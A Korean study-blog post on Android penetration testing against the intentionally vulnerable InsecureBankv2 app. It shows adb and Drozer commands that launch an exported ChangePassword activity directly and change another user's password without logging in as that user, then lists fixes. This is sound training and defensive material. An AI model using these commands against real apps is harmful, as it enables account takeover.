액티비티 : 눈에 보이며 사용자와 상호작용하는 곳
취약한 액티비티 컴포넌트
- 정상적 과정 : 로그인 화면 -> 메인 메뉴 -> 음악 듣기
- 비정상적 접근 : 로그인 없이 바로 음악듣기
진단방법
-
AndroidManifest.xml에 있는 컴포넌트 점검
-
Activity 컴포넌트가 구현된 해당 클래스의 onCreate() 메소드부터 전체 코드 점검
-
adb shell -> am start -n com.android.insecurebankv2/.ChangePassword
- adb로는 권한이 없어도 무조건 실행되기 때문에 권한 검사를 할 수 없다. Droze로 진단.
- run app.package.attacksurface com.android.insecurebankv2
- run app.activity.info -a com.android.insecurebankv2
- run app.activity.start -–component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword
Username 부분에 값 전달 필요
- run app.activity.start -–component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword –-extra string uname jack
dinesh 로 로그인했는데도 jack의 패스워드 변경에 성공
대응방안
-
AndroidManifest.xml에 구현되어 있는 android:exported=”true” 속성을 false로 변경하여 외부노출 금지
-
반드시 필요하다면 Permission 속성을 통한 권한으로 접근제어
-
사용자 인증 절차 추가
'인시큐어뱅크 활용 안드로이드 모의해킹 공부' 카테고리의 다른 글
취약한 암호화 구현 (0) | 2020.12.22 |
---|---|
하드코드 된 중요 정보 (0) | 2020.12.22 |
사용자 계정 목록화 (0) | 2020.12.22 |
취약한 인증 메커니즘 (0) | 2020.12.22 |
취약한 SD카드 스토리지 (0) | 2020.12.22 |